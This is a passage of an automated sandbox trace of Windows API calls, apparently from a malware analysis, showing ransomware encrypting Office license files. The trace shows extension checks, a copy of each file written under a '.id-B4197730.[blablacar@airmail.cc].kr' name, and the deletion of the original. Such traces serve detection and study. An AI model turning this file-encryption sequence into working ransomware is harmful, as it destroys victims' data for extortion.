[0201.196] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.196] lstrlenW (lpString=".dbf") returned 4 [0201.196] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.196] lstrlenW (lpString=".1cd") returned 4 [0201.196] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0201.196] lstrlenW (lpString=".jpg") returned 4 [0201.196] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.196] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.196] lstrlenW (lpString="MondoR_Trial-ppd.xrm-ms") returned 23 [0201.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.197] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=26585) returned 1 [0201.197] CloseHandle (hObject=0x548) returned 1 [0201.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 0x220 [0201.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.197] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.197] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.198] GetLastError () returned 0x0 [0201.198] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x67d9, lpOverlapped=0x0) returned 1 [0201.200] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x67e0, lpOverlapped=0x0) returned 1 [0201.202] ReadFile (in: hFile=0x548, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.202] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x102, lpOverlapped=0x0) returned 1 [0201.202] SetEndOfFile (hFile=0x568) returned 1 [0201.202] CloseHandle (hObject=0x568) returned 1 [0201.202] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.202] SetEndOfFile (hFile=0x548) returned 1 [0201.205] CloseHandle (hObject=0x548) returned 1 [0201.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1 [0201.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.206] lstrlenW (lpString=".doc") returned 4 [0201.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.206] lstrlenW (lpString=".docx") returned 5 [0201.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.206] lstrlenW (lpString=".pdf") returned 4 [0201.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.206] lstrlenW (lpString=".xls") returned 4 [0201.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.206] lstrlenW (lpString=".xlsx") returned 5 [0201.207] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.207] lstrlenW (lpString=".ppt") returned 4 [0201.207] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.207] lstrlenW (lpString=".zip") returned 4 [0201.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.207] lstrlenW (lpString=".rar") returned 4 [0201.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.207] lstrlenW (lpString=".bz2") returned 4 [0201.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.207] lstrlenW (lpString=".7z") returned 3 [0201.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.207] lstrlenW (lpString=".dbf") returned 4 [0201.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.207] lstrlenW (lpString=".1cd") returned 4 [0201.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.207] lstrlenW (lpString=".jpg") returned 4 [0201.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.207] lstrlenW (lpString=".doc") returned 4 [0201.207] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.423] lstrlenW (lpString=".docx") returned 5 [0201.423] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.423] lstrlenW (lpString=".pdf") returned 4 [0201.423] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.423] lstrlenW (lpString=".xls") returned 4 [0201.423] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.423] lstrlenW (lpString=".xlsx") returned 5 [0201.424] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.424] lstrlenW (lpString=".ppt") returned 4 [0201.424] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.424] lstrlenW (lpString=".zip") returned 4 [0201.424] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.424] lstrlenW (lpString=".rar") returned 4 [0201.424] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.424] lstrlenW (lpString=".bz2") returned 4 [0201.424] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.424] lstrlenW (lpString=".7z") returned 3 [0201.424] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.424] lstrlenW (lpString=".dbf") returned 4 [0201.424] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.424] lstrlenW (lpString=".1cd") returned 4 [0201.424] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0201.424] lstrlenW (lpString=".jpg") returned 4 [0201.424] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.424] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.424] lstrlenW (lpString="MondoVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0201.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0201.648] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11609) returned 1 [0201.648] CloseHandle (hObject=0x4d4) returned 1 [0201.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0201.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.802] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.802] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0201.804] GetLastError () returned 0x0 [0201.804] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0201.806] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0201.808] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.808] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0201.808] SetEndOfFile (hFile=0x4d4) returned 1 [0201.808] CloseHandle (hObject=0x4d4) returned 1 [0201.808] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.808] SetEndOfFile (hFile=0x3f8) returned 1 [0201.812] CloseHandle (hObject=0x3f8) returned 1 [0201.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1 [0201.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.813] lstrlenW (lpString=".doc") returned 4 [0201.813] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.813] lstrlenW (lpString=".docx") returned 5 [0201.813] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.813] lstrlenW (lpString=".pdf") returned 4 [0201.813] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.813] lstrlenW (lpString=".xls") returned 4 [0201.813] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.813] lstrlenW (lpString=".xlsx") returned 5 [0201.813] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.813] lstrlenW (lpString=".ppt") returned 4 [0201.813] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.814] lstrlenW (lpString=".zip") returned 4 [0201.814] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString=".rar") returned 4 [0201.814] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString=".bz2") returned 4 [0201.814] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString=".7z") returned 3 [0201.814] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.814] lstrlenW (lpString=".dbf") returned 4 [0201.814] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.814] lstrlenW (lpString=".1cd") returned 4 [0201.814] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.814] lstrlenW (lpString=".jpg") returned 4 [0201.814] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.814] lstrlenW (lpString=".doc") returned 4 [0201.814] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString=".docx") returned 5 [0201.814] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.814] lstrlenW (lpString=".pdf") returned 4 [0201.814] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString=".xls") returned 4 [0201.814] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.814] lstrlenW (lpString=".xlsx") returned 5 [0201.814] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.815] lstrlenW (lpString=".ppt") returned 4 [0201.815] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.815] lstrlenW (lpString=".zip") returned 4 [0201.815] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.815] lstrlenW (lpString=".rar") returned 4 [0201.815] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.815] lstrlenW (lpString=".bz2") returned 4 [0201.815] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.815] lstrlenW (lpString=".7z") returned 3 [0201.815] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.815] lstrlenW (lpString=".dbf") returned 4 [0201.815] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.815] lstrlenW (lpString=".1cd") returned 4 [0201.815] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0201.816] lstrlenW (lpString=".jpg") returned 4 [0201.816] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.816] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.816] lstrlenW (lpString="O365BusinessR_Subscription-ul-oob.xrm-ms") returned 40 [0201.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.817] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11647) returned 1 [0201.817] CloseHandle (hObject=0x3f8) returned 1 [0201.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 0x220 [0201.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.817] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.817] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0201.818] GetLastError () returned 0x0 [0201.818] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d7f, lpOverlapped=0x0) returned 1 [0201.820] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0201.822] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.822] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x124, lpOverlapped=0x0) returned 1 [0201.822] SetEndOfFile (hFile=0x4d4) returned 1 [0201.822] CloseHandle (hObject=0x4d4) returned 1 [0201.822] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.822] SetEndOfFile (hFile=0x3f8) returned 1 [0201.825] CloseHandle (hObject=0x3f8) returned 1 [0201.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1 [0201.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.827] lstrlenW (lpString=".doc") returned 4 [0201.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.827] lstrlenW (lpString=".docx") returned 5 [0201.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.827] lstrlenW (lpString=".pdf") returned 4 [0201.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.827] lstrlenW (lpString=".xls") returned 4 [0201.827] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.827] lstrlenW (lpString=".xlsx") returned 5 [0201.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.827] lstrlenW (lpString=".ppt") returned 4 [0201.827] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.827] lstrlenW (lpString=".zip") returned 4 [0201.827] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.827] lstrlenW (lpString=".rar") returned 4 [0201.827] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.827] lstrlenW (lpString=".bz2") returned 4 [0201.827] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.827] lstrlenW (lpString=".7z") returned 3 [0201.827] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.828] lstrlenW (lpString=".dbf") returned 4 [0201.828] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.828] lstrlenW (lpString=".1cd") returned 4 [0201.828] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.828] lstrlenW (lpString=".jpg") returned 4 [0201.828] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0201.828] lstrlenW (lpString=".doc") returned 4 [0201.828] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.828] lstrlenW (lpString=".docx") returned 5 [0201.828] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.828] lstrlenW (lpString=".pdf") returned 4 [0201.828] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.828] lstrlenW (lpString=".xls") returned 4 [0201.828] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.828] lstrlenW (lpString=".xlsx") returned 5 [0201.828] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.828] lstrlenW (lpString=".ppt") returned 4 [0201.828] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") 